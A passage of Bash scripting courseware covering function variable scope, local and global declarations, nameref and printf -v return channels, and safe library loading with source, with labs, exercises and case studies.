local [-aAinrx] name[=value]Declare a local variable (attributes allowed)local -a arrays,-A associative arrays,-i integers,-r read-only,-n nameref
declare -g name=valuecreate/modify a global variable inside a functionBash 4.2+
declare -p nameprint a variable's attributes and valuecheck whether a variable really is an array / a local
local -restored when the function returns set optionsBash 4.4+; temporarily change inside a function set -f,set +e are very useful
local IFS=, / local OPTINDisolate special variablesdo not pollute the caller
shopt -s localvar_inherita new local inherits the same-name variable belowBash 5.0+; off by default, generally not needed
readonly NAME=valueconstantsused inside a function local -r or declare -gr

1) Default global: a function changes variables outside it

count=0
bump() { count=$((count + 1)); }
bump; bump; echo "count=$count"
v=$(bump; echo "$count"); echo "inside \$(): $v, outside: $count"
count=2
inside $(): 3, outside: 2

2) local / declare / declare -g / export

setup() {
  local tmp=/tmp/x                 # local
  declare cfg=local-too            # declare inside a function is also local!
  declare -g G_RESULT=ok           # explicit global
  export CHILD_SEES=yes            # no local → global + exported
  bash -c 'echo "child: CHILD_SEES=$CHILD_SEES"'
}
setup; echo "tmp=${tmp-unset} cfg=${cfg-unset} G_RESULT=$G_RESULT CHILD_SEES=${CHILD_SEES-unset}"
child: CHILD_SEES=yes
tmp=unset cfg=unset G_RESULT=ok CHILD_SEES=yes

3) The "positive use" of dynamic scope: implicit context

log_ctx() { echo "[$ctx] $*"; }          # reads the caller's ctx without needing it passed
handle()  { local ctx=$1; log_ctx "processing"; }
ctx=global; handle req-42; log_ctx "after"
[req-42] processing
[global] after

Production use: Context such as a request ID or the current subcommand name can be passed this way. But implicit dependencies make functions hard to test in isolation—opsctl only does this for LOG_LEVEL such global configuration.

4) Loop variables must be local

i=99
loop_bad()  { for i in 1 2 3; do :; done; }
loop_good() { local i; for i in 1 2 3; do :; done; }
loop_good; echo "after loop_good: i=$i"; loop_bad; echo "after loop_bad: i=$i"
after loop_good: i=99
after loop_bad: i=3

5) local - and localvar_inherit

opt() { local -; set -f; echo "inside: $-"; }
opt; echo "outside: $-"
z=G; li() { local z; echo "local z: '${z-unset}'"; }
li; shopt -s localvar_inherit; li; shopt -u localvar_inherit
inside: fhB
outside: hB
local z: 'unset'
local z: 'G'

Note set -u:local x if x is not assigned, x is “declared but unset”; in set -u under echo "$x" it reports x: unbound variable (measured). Get into the habit of using local x="" or ${x-} ; when Lesson 4 enables strict mode, this will not cause problems.

Lab 2: reproduce and fix a “scope leak” (about 6 minutes)

Write a buggy “library” and a caller:
cd ~/bashlab/lesson3
cat > scope-bug.sh <<'EOF'
#!/usr/bin/env bash
# library function: count the servers of one environment (forgot local!)
count_in_env() {
  n=0
  while IFS=, read -r name env _; do
    [[ $env == "$1" ]] && n=$((n + 1))
  done < ~/bashlab/data/servers.csv
  echo "$n"
}

report() {
  local env name=report-v1
  for env in prod staging dev; do
    printf '%-8s %s\n' "$env" "$(count_in_env "$env")"
  done
  count_in_env prod >/dev/null
  echo "report name is still: '$name' env='$env'"
}
report
echo "global leak: name=${name-unset} env=${env-unset} n=${n-unset}"
EOF
bash scope-bug.sh
prod     6
staging  3
dev      3
report name is still: '' env=''
global leak: name=unset env=unset n=6

The first three lines are called inside a $(…) subshell and "look fine". The 4th time,directly calls count_in_env: its read -r name env _ searches up the call stack and finds report 's local name and local env overwrites them. The last time, read it hits the end of the file and sets the variable to an empty string, so report's name and env are both cleared. Meanwhile n is not declared at any level, so it leaks out as a global variable (n=6).

Fix: declare all variables in the library function.
sed -i 's/^  n=0$/  local n=0 name env/' scope-bug.sh   # macOS: sed -i ''
bash scope-bug.sh | tail -2
report name is still: 'report-v1' env='dev'
global leak: name=unset env=unset n=unset
Use declare -p to observe scope:
probe() { local -i a=1; local -A m=([k]=v); declare -p a m; }
probe; declare -p a 2>&1
declare -i a="1"
declare -A m=([k]="v" )
bash: declare: a: not found
Cleanup: no cleanup needed,scope-bug.sh can be deleted: rm ~/bashlab/lesson3/scope-bug.sh.

Case 1: nested loops share i, and the batch operation only handled the first host

Problem:main in local i; for (( i=0; i<${#hosts[@]}; i++ )) iterate over hosts, and the loop body calls wait_ready, which internally for (( i=0; i<30; i++ )) polls 30 times. wait_ready without local i, its loop rewrote main's i along the call stack; on return i=30, so the outer i++ condition no longer holds and the outer loop ends immediately—only one host got the rolling upgrade (measured output showed only deploy web-01, i=31 in main), yet the pipeline reported success. Note: if the outer loop is a for i in … list loop, the rewritten i does not affect the iteration (the list is fixed when the loop starts); the bug then appears as “the second half of the loop body reads the wrong i”. Approach: all function variables local; ShellCheck cannot detect this kind of cross-function problem, so it relies on conventions and code review. Configuration: team convention: “the first line of a function is the local declaration”. Limitation: even with local written, a callee can still rewrite the caller's local—library functions also need local.

Case 2: temporarily changing IFS inside a function broke parsing in the second half of the script

Problem:parse_csv() { IFS=,; read -r -a f <<< "$1"; }, after one call the global IFS becomes a comma, and all later unquoted expansions split on commas. Approach:local IFS=,, or limit IFS to a single command: IFS=, read -r -a f <<< "$1" (an assignment before the command only applies to that command).

Case 3: calling an “initialization function” with $(…) lost all configuration

Problem:status=$(load_config) wanted both the “status text” and “loading the config”, but as a result load_config set global configuration inside the subshell, and the main script read empty values. Approach: call functions with side effects directly (load_config || die), and when data must be returned, write it into a caller-specified variable (nameref, Module 3). opsctl's config::init is called directly.

Common errors and fixes

bash: local: can only be used in a function

Cause: at the script's top level, wrote local.

Fix: assign directly at the top level, or put the code inside main(). This is another benefit of “all code goes into main”: variables in main can all be local.

a variable changed value “mysteriously” after a function call

Cause: some called function (perhaps in a library, perhaps several levels down) did not declare a local of the same name, and rewrote your variable along the call stack.

declare -p i                      # compare before and after the call
set -x; suspicious_func; set +x   # see which line assigns to i
grep -nE '^\s*(for|read)\b|\b[a-z_]+=' lib/*.sh | grep -v local   # rough check for undeclared assignments

Fix: in the called function, local; for “read-only global configuration” use readonly, so that changes fail immediately.

x: unbound variable (set -u, though the variable was declared with local)

Cause:local x it was declared but not assigned, so x is in the “unset” state.

f() { local x; echo "${x-<unset>}"; }; f

Fix:local x=""; or use ${x-} / ${x:-default}.

after set -f / set +e inside a function, other parts of the script also behave differently

Cause:set options are global.

Fix: on the first line of the function local - (Bash 4.4+), restored automatically on return; or write the function body as ( … ) a subshell (incurs fork overhead, and cannot modify the caller's variables).

Command-line exercises
1. Without running it, predict the output: x=1; a() { local x=2; b; echo "a:$x"; }; b() { x=3; }; a; echo "g:$x"

a:3,g:1. The assignment to b searches the stack, finds a's local x and changes it to 3; the global x is unaffected.

2. Write a function show_pattern, which turns off pathname expansion inside the function and prints the arguments unquoted (you should see the literal *.sh); after returning, globbing is restored automatically.
show_pattern() { local -; set -f; local p=$1; echo $p; }
show_pattern '*.sh'     # *.sh (set -f inside the function takes effect)
echo *.sh               # after the function returns, local - restores the options, so globbing works as usual

Note: if you write with_noglob() { local -; set -f; "$@"; } and then call with_noglob echo *,* in at the call site is already expanded (arguments are expanded before entering the function), so set -f inside the function has no effect in time—measured: it lists the files in the current directory.

Scenario analysis
You merged several of your team's scripts into one library, and the originally working deploy.sh started randomly skipping some services. The logs show that the outer loop variable changed after calling a library function svc::restart . How do you systematically investigate and prevent this?

The root cause is dynamic scope: undeclared variables in the library function (loop variables,read targets, temporary variables) rewrote the caller's same-name variables along the call stack. Investigation: set -x check the assignments and compare before and after the call, declare -p grep the library for assignments without local. Prevention: (1) all library variables local; (2) prefix internal library variables (__svc_i); (3) declare external global state explicitly with declare -g and name it with a module prefix; (4) in Lesson 7, write bats tests for library functions asserting that the caller's variables are unchanged before and after the call.

Verified teaching videos

▶
How To Write Bash Scripts In Linux - Complete Guide (Part 12 - Functions) — Learn Linux TV
English · function basics; for this module's dynamic scope, follow the Bash manual

No dedicated video on Bash dynamic scope was found that is verified via oEmbed; please use the storyboard below and this module's animations.

Official documentation

Video storyboard (about 90 seconds)

This courseware cannot directly generate video/MP3; the storyboard and narration script are provided.

Shot 1 · 0–20s
Picture: on the left is Python code, with an arrow pointing to the “definition site”; on the right is Bash code, with an arrow pointing to the “caller”.
Narration: most languages decide variable visibility by where the code is written; Bash decides it by who called whom at runtime.
Shot 2 · 20–50s
Picture: four layers of call-stack blocks: global, main, outer, show. show reads x, and a spotlight sweeps down from the top of the stack, stopping at outer's local x.
Narration: lookup goes from the top of the stack down, and the first variable with the same name wins.
Shot 3 · 50–75s
Picture: inner assigns to x, and a red arrow lands on the outer layer; the global layer is untouched.
Narration: an assignment without a declaration also searches the stack, so a called function can change the caller's local variables.
Shot 4 · 75–90s
Picture: a bubble with dollar parentheses splits off from the process, and the changes inside vanish when the bubble bursts.
Narration: beyond scope there is also the process boundary. Changes made in a subshell cannot be passed back, no matter how they are declared.
or reach ≥ 70% on the quiz

Module 3 · Output and return: command substitution, return and nameref

13:00 – 21:00 · The four channels by which a function delivers results, and how nameref is resolved on the call stack
8 minnameref: Bash 4.3+Core animation (part 2)★★★★★
Learning objectives
  • Choose the right channel for each need: exit status (success/failure),stdout + $(…) (data),printf -v (write a scalar to a caller-specified variable),nameref (write arrays/associative arrays or multiple values to the caller).
  • Know the cost and semantics of $(…) : fork a subshell, strip trailing newlines, side effects are lost; local v=$(cmd) swallows the failure status of cmd (SC2155).
  • Will use local -n / declare -n and understand that nameref stores a name, which is resolved by dynamic scope each time it is used, and can avoid the three major pitfalls: same-name shadowing, circular references, and illegal names.
  • Understand Bash 5.3's ${ cmd; },${| cmd; } (command substitution that does not fork) and its portability limits.
Prerequisites: Modules 1 and 2. Importance:★★★★★ (opsctl's util::csv_split and config::get both use nameref)

What: the four “return” channels of a function

ChannelSyntaxWhat it can deliverCost / risk
Exit statusreturn N, status of the last commandintegers 0–255: success / failure / error categorycannot deliver data
stdoutecho/printf + caller v=$(f)arbitrary text (including multi-line)forks a subshell; strips all trailing newlines; side effects inside the function are lost; logs cannot be written to stdout
printf -vprintf -v "$1" '%s' "$val"a scalar written into a variable with the name given by the callercan only write scalars; the name given by the caller must be validated
namereflocal -n ref=$1; ref=…scalars, indexed arrays, associative arrays, multiple resultsBash 4.3+; same-name shadowing / circular references / illegal names

There is also a fifth “channel”—writing global variables directly (REPLY,RESULT). It is the fastest and the most fragile: the caller must know which name the function will write, and nested calls overwrite each other. The ${| cmd; } added in Bash 5.3 turns the convention of “writing into REPLY” into syntax.

Why: why you cannot “just use echo”

  • Performance: each $(…) requires a fork. Measured on this machine (Git Bash 5.2.37 on Windows, where fork is especially slow): 2000 x=$(echo hi) took 31.3 seconds, while 2000 printf -v x '%s' hi took only 0.016 seconds. On Linux fork is much cheaper, but in large loops the gap is still an order of magnitude.
  • Arrays: stdout can only carry text; to return an array you must “serialize and then parse” (newlines, spaces and special characters are all pitfalls); nameref can fill the caller's array directly.
  • Side effects: a function run in $(…) cannot modify the caller's state (Module 2, Figure 2-2).

How: the real mechanism of nameref

  1. local -n ref=target Create a variable with the nameref attribute whose "value" is a string target (a variable name).
  2. From then on, every read or write of ref (except unset -n,declare -n and other commands that operate directly on the reference itself), Bash replaces it with a read or write of target the target variable.
  3. Key:target this name is resolved when it is used, according to dynamic scope—starting from the current function (top of stack) and searching downward. If the current function itself happens to have a local named target , the reference lands on that local rather than on the caller's variable. This is the “same-name shadowing” trap.
  4. If local -n ref=ref (the name points to itself), Bash reports warning: ref: circular name reference; the assignment lands outside the current context (measured on local 5.2.37: it ended up in the global ref),do not rely on this behavior.
  5. If the target name is not a valid variable name (for example 'x;y'),local -n reports invalid variable name for name reference and fails, while ref degrades into an ordinary local variable—later assignments “succeed” but are not written to any caller variable, and the function may still return 0. So library functions must validate names first.
  6. nameref can point to an array element: declare -n e='arr[1]'. The array variable itself cannot be given the nameref attribute (manual: Array variables cannot be given the nameref attribute).

When: selection guide

ScenarioRecommended channelExample in opsctl
“Did it succeed?”exit statusutil::in_list,util::is_identifier
result for people to read / for pipelinesstdoutservers::list output table; opsctl ... | cut -f1
frequently called, returns only one valueprintf -vconfig::get the third argument (source)
returns an array / associative array / multiple valuesnamerefutil::csv_split line f,config::get key out
the script must support the Bash 3.2 that ships with macOSstdout or printf -v (3.1+)opsctl requires ≥ 4.3 and checks at startup
Common misconceptions① “local v=$(cmd) || die can catch failures"—local itself returns 0 on success,|| die never triggers; first local v then v=$(cmd) || die. ② “nameref is like a C pointer: it binds the variable itself”—it binds the name, which is re-resolved by scope each time it is used. ③ “Printing logs to stdout from a function is fine”—the caller v=$(f) will treat the logs as data too, so logs must go to stderr (opsctl's log::*). ④ “$(…) returns the output unchanged”—all trailing newlines are removed.

Figure 3-1: data flow of the four channels

Callerservers::listlocal env out; local -a f Called functionconfig::get / csv_split ① exit status $? (0–255) · no fork ② stdout → $(…): forks a subshell, strips trailing newlines, side effects lost ③ printf -v "$name": writes the caller's scalar directly · no fork ④ nameref (local -n ref=$name): writes scalar / array / associative array · no fork stderr → terminal/log (does not enter $(…))
Figure 3-1: only ② crosses the process boundary; ③④ rely on "same process + dynamic scope"

Figure 3-2: the nameref same-name shadowing trap

set_result (top of stack)local -n out=value (the value of out is the string "value")local value="computed" ← resolving "value" hits this first!out=$value → writes into its own local value Caller (main)value="" ← expected to be written, but nothing changes intended target (shadowed) Ways to fix 1. Prefix local variables: local __val, __i … 2. Validate the name first: util::is_identifier "$1" 3. Reject names that conflict with internal names: [[ $1 == __* ]] && return 2 4. Or use printf -v instead (also shadowed! it also resolves names by the current scope)
Figure 3-2: nameref only stores the name; the name is resolved "at the moment of use, starting from the current function"

Core animation (part 2): nameref resolution on the call stack

The same call-stack view as Module 2. The purple dashed box represents a nameref variable (its value is a "name"); green represents the variable that is finally read or written. The log is the measured output of Bash 5.2.37.

Code
Call stack (top of stack at the top)

Command table

SyntaxPurposeKey points
v=$(f) / if v=$(f); thenCapture stdout; the status of the assignment = the status of fforks; strips trailing newlines
local v; v=$(f) || …separate declaration from assignmentShellCheck SC2155
printf -v name fmt argswrite the formatted result into a variablereports when name is illegal not a valid identifier, status 2
local -n ref=$1 / declare -ncreate a namerefBash 4.3+
unset -n refdelete the reference itself (does not affect the target)ordinary unset ref will delete target
declare -p refdisplay declare -n ref="target"debug where a nameref points
${!name}indirect expansion (read-only)use for reading; ${!name} use nameref or printf -v
${ cmd; } / ${| cmd; }Bash 5.3: command substitution that does not fork; the latter takes REPLYsyntax error in 5.2 and earlier versions

1) stdout channel: data goes to stdout, logs go to stderr

get_ip() {
  local name=$1
  [[ $name == edge-01 ]] || { echo "unknown host: $name" >&2; return 1; }
  echo 10.30.2.51
}
ip=$(get_ip edge-01); echo "rc=$? ip=$ip"
ip=$(get_ip nope);    echo "rc=$? ip='$ip'"
if ip=$(get_ip edge-01); then echo "ok $ip"; fi
noisy() { echo "debug: starting"; echo 42; }
x=$(noisy); echo "x=[$x]"
rc=0 ip=10.30.2.51
unknown host: nope
rc=1 ip=''
ok 10.30.2.51
x=[debug: starting
42]

2) local swallows the failure status (SC2155)

f() {
  local ip=$(get_ip nope); echo "local masked rc=$?"
  local ip2; ip2=$(get_ip nope); echo "split rc=$?"
}
f 2>/dev/null
local masked rc=0
split rc=1

3) printf -v: writes into the caller-specified variable

upper_into() { printf -v "$1" '%s' "${2^^}"; }
upper_into res "prod"; echo "res=$res"
printf -v 'bad name' x; echo "rc=$?"
res=PROD
bash: printf: `bad name': not a valid identifier
rc=2

4) nameref: fills the caller's array and associative array

split_env() { local -n _out=$1; local IFS=,; read -r -a _out <<< "$2"; }
split_env envs "dev,staging,prod"; echo "${#envs[@]} -> ${envs[1]}"

declare -A cnt=()
tally() { local -n _c=$1; shift; local e; for e in "$@"; do _c[$e]=$(( ${_c[$e]:-0} + 1 )); done; }
tally cnt prod dev prod prod; for k in prod dev; do echo "$k=${cnt[$k]}"; done
3 -> staging
prod=3
dev=1

5) The three major pitfalls, reproduced one by one

# Pitfall 1: same-name shadowing
set_result() { local -n out=$1; local value="computed"; out=$value; }
value=""; set_result value; echo "caller value='$value'"
# Pitfall 2: circular reference
circ() { local -n ref=$1; ref=hello; }
circ ref
# Pitfall 3: illegal name → nameref creation fails, ref degrades to an ordinary local, the function still returns 0
bad() { local -n r=$1; r=1; }; bad 'x;y'; echo "status $?"
caller value=''
bash: local: warning: ref: circular name reference
bash: warning: ref: circular name reference
bash: local: `x;y': invalid variable name for name reference
status 0

How to verify:declare -p check the reference; How to defend: opsctl's util::csv_split and config::get both first util::is_identifier "$2" || return 2, and all local variables use the __ prefix. Even so, if the caller happens to pass a name like __arr , a circular warning is still produced—measured: util::csv_split 'x,y' __arr printed 5 lines of circular name reference warnings, so the documentation must state “do not pass names starting with __ ”.

6) Bash 5.3: command substitution that does not fork

# Bash 5.3+ only (Ubuntu 26.04 / bash:5.3 container)
count=0
bump() { count=$((count + 1)); echo "$count"; }
a=${ bump; }          # runs in the current shell and captures stdout: changes made to count are kept
echo "a=$a count=$count"
setr() { REPLY="value-$1"; }
b=${| setr x; }       # does not capture stdout; takes the value of REPLY after the command runs
echo "b=$b"
a=1 count=1
b=value-x

Original NEWS-5.3 text:“New form of command substitution: ${ command; } or ${|command;} to capture the output of COMMAND without forking a child process and using pipes.” Do not use this in scripts that must stay compatible with Bash 5.2 (Ubuntu 24.04, RHEL family); opsctl does not use it either.

Lab 3: implement util::csv_split (about 7 minutes)

Goal: split one CSV line into the caller's array the caller's array, handling line 11 of servers.csv correctly "web,api" quoted fields like this. This is part of opsctl's lib/util.sh part (Module 4 will move it into the library).

First look at why the naive approach does not work:
cd ~/bashlab/lesson3
line=$(sed -n 11p ~/bashlab/data/servers.csv); echo "$line"
IFS=, read -r -a f <<< "$line"; echo "${#f[@]} fields: ${f[*]}"
edge-01,prod,ca-central-1,10.30.2.51,"web,api"
6 fields: edge-01 prod ca-central-1 10.30.2.51 "web api"
Write a parsing function that uses nameref:
cat > csv.sh <<'EOF'
# csv.sh —— util::csv_split <line> <array_name>
util::is_identifier() { [[ $1 =~ ^[A-Za-z_][A-Za-z0-9_]*$ ]]; }
util::csv_split() {
  util::is_identifier "$2" || { echo "bad variable name '$2'" >&2; return 2; }
  local __line=$1 __field="" __c __i __q=0
  local -n __arr=$2
  __arr=()
  for (( __i = 0; __i < ${#__line}; __i++ )); do
    __c=${__line:__i:1}
    if (( __q )); then                      # inside quotes
      if [[ $__c == '"' ]]; then
        if [[ ${__line:__i+1:1} == '"' ]]; then __field+='"'; __i=$((__i + 1))   # "" → "
        else __q=0; fi
      else __field+=$__c; fi
    else
      case $__c in
        '"') __q=1 ;;
        ',') __arr+=("$__field"); __field="" ;;
        *)   __field+=$__c ;;
      esac
    fi
  done
  (( __q == 0 )) || return 1                # unclosed quote
  __arr+=("$__field")
}
EOF
source csv.sh
for l in 'a,b,c' 'a,"b,c",d' 'a,"say ""hi""",c' 'a,,c,' '"unterminated,x'; do
  if util::csv_split "$l" row; then
    printf '%s -> %d fields:' "$l" "${#row[@]}"; printf ' [%s]' "${row[@]}"; echo
  else echo "$l -> status $?"; fi
done
a,b,c -> 3 fields: [a] [b] [c]
a,"b,c",d -> 3 fields: [a] [b,c] [d]
a,"say ""hi""",c -> 3 fields: [a] [say "hi"] [c]
a,,c, -> 4 fields: [a] [] [c] []
"unterminated,x -> status 1
Verify the defense:
util::csv_split 'a,b' 'bad name'; echo "rc=$?"
util::csv_split "$line" f; echo "${#f[@]} fields, role=[${f[4]}]"
bad variable name 'bad name'
rc=2
5 fields, role=[web,api]
Think about it: why is the loop variable named __i rather than i? If the array name passed by the caller happens to be i,local -n __arr=i it will be found first in this function found first inside local i (same-name shadowing). The prefix reduces the chance of a collision to “the caller deliberately uses a name starting with __ ”. Cleanup:csv.sh keep it; Module 4 will merge it into lib/util.sh.

Case 1: local + command substitution made a failed key fetch “succeed”

Problem:local token=$(vault read -field=token secret/ci) || die "no token", and when Vault was unreachable die was never executed; later requests were sent with an empty token, producing many 401 alerts. Approach: split it into local token + token=$(…) || die; enable ShellCheck in CI, and SC2155 will point it out directly. Limitation: the set -e from Lesson 4 also cannot save this pattern (the status of local is 0).

Case 2: a library function printed a debug line to stdout, and all data pipelines went out of alignment

Problem: someone added get_instances inside echo "querying $region..." for debugging, and the caller mapfile -t ids < <(get_instances) treated that line as an instance ID, and later aws ec2 stop-instances reported errors. Approach: project convention: “stdout carries data only; all logs go to log::* (stderr)”, which opsctl has followed since v0.1. Limitation: third-party commands occasionally write errors to stdout, so check the exit status at the call site instead of parsing the output.

Case 3: completing “parsing + validation” in one pass with nameref

Problem: a script called $(parse_line "$line" | cut -d'|' -f3) for each line of servers.csv; for a 20,000-line inventory it took several minutes to run. Approach: changed to util::csv_split "$line" f that fills the array directly; one parse yields all the fields, with zero forks. Configuration: opsctl's servers::list. Limitation: pure Bash character-by-character parsing is still much slower than awk; for reports of tens of thousands of lines or more, hand the work to awk (Lesson 5).

Common errors and fixes

warning: ref: circular name reference

Cause: the nameref's target name is the same as the nameref itself (the variable name passed by the caller happens to equal the reference name inside the function).

f() { local -n ref=$1; ref=x; }; f ref

Fix: use a prefix that is unlikely to collide for namerefs and local variables inside the function (__ref,_out); state in the documentation not to pass these names; if necessary, [[ $1 == __* ]] && return 2.

local: `x;y': invalid variable name for name reference

Cause: the passed “variable name” is invalid (contains spaces or semicolons, or starts with a digit), possibly from user input—this is also a potential injection point.

Fix: validate before use with util::is_identifier "$1" || return 2. Do not use eval "$1=\$value" in place of nameref—an illegal name would be executed as code by eval.

local: -n: invalid option (macOS /bin/bash 3.2)

Cause: nameref requires Bash 4.3+. macOS ships with 3.2.57.

echo "$BASH_VERSION"; type -a bash

Fix:brew install bash, use #!/usr/bin/env bash in the shebang; or switch to printf -v (works on 3.1+, but can only write scalars). opsctl checks the version at startup and exits with exit code 3.

A function's “returned” value is missing its trailing newline / multi-line output is collapsed into one line

Cause:① $(…) all trailing newlines are removed (measured t=$(printf 'a\n\n\n') has length 1); ② the expansion was used without quotes echo $v, so the newlines were swallowed by word splitting.

Fix: quote the expansion when using it "$v"; when the trailing newline must be kept, v=$(f; printf x); v=${v%x}, or switch to nameref / mapfile.

${ cmd; }: bad substitution (Bash 5.2 and earlier)

Cause:${ cmd; } and ${| cmd; } are new syntax in Bash 5.3.

Fix: check BASH_VERSINFO at the beginning of the script, or use printf -v / the portable nameref form.

Command-line exercises
1. Write the function env_of <name> <outvar>, which finds a server in servers.csv and uses printf -v to write its env into outvar; return 1 if not found.
env_of() {
  local __n __e
  while IFS=, read -r __n __e _; do
    [[ $__n == "$1" ]] && { printf -v "$2" '%s' "$__e"; return 0; }
  done < ~/bashlab/data/servers.csv
  return 1
}
env_of edge-01 e && echo "$e"   # prod
env_of db-01 e && echo "$e"     # dev —— name is not unique; the first match is returned (the unique key is name+env)
2. Write the function group_by_env <assoc_name>, which uses nameref to fill an associative array: env → space-separated server names.
group_by_env() {
  local -n __g=$1; local __n __e
  while IFS=, read -r __n __e _; do
    [[ $__n == name ]] && continue
    __g[$__e]+="${__g[$__e]:+ }$__n"
  done < ~/bashlab/data/servers.csv
}
declare -A groups; group_by_env groups; echo "${groups[prod]}"   # web-01 web-02 api-01 edge-01 db-01 bastion-01
Scenario analysis
A function get_config must both return a config value and set a global cache, and it is called as v=$(get_config key). The cache “never takes effect”, the file is re-read every time, and occasionally v contains the text “loading config...”. Analyze it and redesign the interface.

① $(…) runs in a subshell, so the global cache written by the function disappears with the child process and the cache never takes effect; ② the function writes progress information to stdout, so it becomes part of the return value. Redesign: get_config <key> <outvar>, call it directly (do not put it inside $(…)), use nameref or printf -v to write the result, write progress information to stderr (log::debug), and use the return status to indicate whether it was found. This is exactly opsctl's config::get key outvar [srcvar].

Verified teaching videos

▶
Bash in 100 Seconds — Fireship
English · about 2 minutes · quick review of Bash variables and command substitution (does not cover nameref)

No dedicated video on nameref was found (declare -n) verified via oEmbed; please use this module's animations and the storyboard below.

Official documentation

Video storyboard (about 100 seconds)

This courseware cannot directly generate video/MP3; the storyboard and narration script are provided.

Shot 1 · 0–20s
Picture: four pipes run from the function to the caller: exit code, standard output, printf dash v, nameref. The standard output pipe has a “fork” gate on it.
Narration: a function delivers results through four channels, and only standard output needs to create a child process.
Shot 2 · 20–45s
Picture: local token equals dollar parentheses…, and the red light of failure is covered by local's green light.
Narration: when local and command substitution are written together, the failure status is swallowed by local. Declare first, then assign.
Shot 3 · 45–80s
Picture: the nameref variable is a sticky note reading “value”, stuck onto the call stack; the spotlight starts from the top of the stack looking for “value” and first hits the function's own local value.
Narration: a nameref only stores a name, and the name is resolved from the current function at the time of use. A same-name local takes the reference away.
Shot 4 · 80–100s
Picture: a badge for version five point three; dollar braces, space, command, semicolon; the arrow no longer passes through the fork gate.
Narration: Bash 5.3 adds command substitution that does not create a child process, but do not use it if you need to stay compatible with 5.2.
or reach ≥ 70% on the quiz

Module 4 · Modularization: source, library files and naming conventions

21:00 – 28:00 · Put functions into library files, load them via reliable paths, and use namespaces to avoid conflicts
7 minBash 5.x · source -p is new in 5.3★★★★☆
Learning objectives
  • Understand that source (.) executes a file in the current shell: functions, variables and set options it defines all remain with the caller; a return in the file ends the loading.
  • Use BASH_SOURCE to compute the script's directory and load libraries without depending on the current working directory; know that an unslashed source lib.sh searches PATH first.
  • Write a “good library”: define only, do not execute; include guard; module::function naming; underscore prefix for private functions; header comments; and use ${BASH_SOURCE[0]} == $0 to tell whether it is being executed or sourced.
  • Let ShellCheck follow sourced files using shellcheck -x,# shellcheck source=…, and source-path=SCRIPTDIR.
Prerequisites: Modules 1–3. Importance:★★★★☆

What: what source does

source FILE [ARGS…] (POSIX form . FILE) reads FILE and runs it line by line in the current shell environment, as if the file's content were "pasted" at the call site. Differences from bash FILE :

source lib.shbash lib.sh / ./lib.sh
processcurrent shell (no fork)new bash process
functions / variables definedremain with the callerdisappear when the child process ends
cd,set -e,shoptaffect the callerdoes not affect
positional parametersif ARGS is given, they are temporarily replaced by ARGS; otherwise the caller's are usednew $@
return / exitreturn N ends the loading; source's status is N; exit will exit the callerboth only end the child process
Does it need execute permission?No (library files should not be executable)./ Requires x permission

Why: why split out libraries

  • Reuse: log::*,util::* are shared by all subcommands and by the Lesson 7 tests.
  • Testable: bats tests only need to source lib/util.sh in order to call util::csv_split individually.
  • Load on demand: opsctl only servers s the lib/cmd_servers.sh when the subcommand is called, so adding more subcommands does not slow startup.

How: four rules for reliable loading

  1. Always source using an absolute path: a relative path such as source ../lib/log.sh is relative to the current working directory, not the script's directory—running from another directory cannot find it. The correct approach: OPSCTL_HOME=$(cd -- "$(dirname -- "$(readlink -f -- "${BASH_SOURCE[0]}")")/.." && pwd) and then source "$OPSCTL_HOME/lib/log.sh". readlink -f Resolve symbolic links (supported by GNU, BusyBox and macOS 12.3+), so that a symlink from bin/opsctl to ~/.local/bin can also find the library.
  2. Be careful with unslashed names: the manual states that when FILE contains no / slash,source first searches PATH in (the sourcepath option, enabled by default); in non-POSIX mode, only if it is not found there does it check the current directory. Measured on this machine: when both the current directory and PATH contain a lib.sh when,source lib.sh loads the one in PATH. Bash 5.3 adds source -p PATH FILE, which uses the given search path instead of $PATH.
  3. Libraries only define, do not execute: the top level contains only function definitions,declare -gA -like initialization and the include guard; do not print, do not cd, do not exit, and do not set -e (options are decided by the entry script).
  4. Check the result of source: use source "$f" || exit 1. If the file does not exist, source returns 1 (measured) and reports an error on stderr No such file or directory.

When: naming conventions

ObjectConventionopsctl example
Library filelib/<module>.sh with a .sh extension and not executable (Google style guide: Libraries must have a .sh extension and should not be executable)lib/log.sh,lib/util.sh
public functionsmodule::function, lowercase with underscores (Google style guide: use :: as the package delimiter)log::info,util::die,config::get
private functions / variablesunderscore prefixlog::_emit,_LOG_RANK
include guard variable_<project>_<module>_SH_OPSCTL_LOG_SH
subcommand files / entry functionslib/cmd_<name>.sh defined cmd::<name>cmd::servers,cmd::config
global constantsuppercase + project prefix, made readonlyOPSCTL_HOME,OPSCTL_VERSION
POSIX mode and :: in function names :: is a Bash extension. In Bash 5.2 POSIX mode (for example, running sh opsctl on a system where “sh is bash”, or when POSIXLY_CORRECT is set), defining log::info() reports not a valid identifier (measured on this machine). Bash 5.3 NEWS:“Posix mode no longer requires function names to be valid shell identifiers.” opsctl detects this at startup with shopt -qo posix and rejects POSIX mode with exit code 3.
Common misconceptions① “source ../lib/x.sh relative to the script's location”—it is relative to the current working directory. ② “$0 can locate the library being sourced”—inside a library, $0 is the entry script (or the interactive shell's bash), and the library's own path is in ${BASH_SOURCE[0]}. ③ “Writing exit 1 in a library just fails the load”—it exits the whole caller (in an interactive terminal, sourcing it closes your shell); use return for errors in a library. ④ “Sourcing the same library several times does no harm”—initialization runs again (for example resetting an associative array to empty); use an include guard.

Figure 4-1: opsctl's load chain

bin/opsctlcompute OPSCTL_HOME(readlink -f + BASH_SOURCE) lib/log.shlog::debug/info/warn/error lib/util.shutil::die … csv_split lib/config.shconfig::load_file/get/init ① at startup②③ on demand: opsctl::load_command name check ^[a-z][a-z0-9_]*$ (prevents ../ injection) source "$OPSCTL_HOME/lib/cmd_servers.sh" declare -F cmd::servers → call only if it exists cmd_config.sh is loaded only for opsctl config dependency direction: cmd_* → config → util → log ④ at dispatch
Figure 4-1: public libraries load at startup in dependency order; subcommand files load at dispatch time

Figure 4-2: values of BASH_SOURCE and $0 in the source chain

When log::info in lib/log.sh is called by servers::list: FUNCNAME = ( log::info servers::list cmd::servers opsctl::main main ) BASH_SOURCE = ( lib/log.sh lib/cmd_servers.sh lib/cmd_servers.sh bin/opsctl bin/opsctl ) $0 = bin/opsctl (always the entry point; it is -bash / bash when sourced from an interactive shell) Rule: ${BASH_SOURCE[i]} is the file where ${FUNCNAME[i]} is defined; ${BASH_SOURCE[0]} is “the file where the current code lives” Bash 5.3: shopt -s bash_source_fullpath makes BASH_SOURCE hold the full path
Figure 4-2: to locate the library's directory use ${BASH_SOURCE[0]}; to tell whether it is executed or sourced, compare ${BASH_SOURCE[0]} with $0

Animation: the source chain and growth of the function table

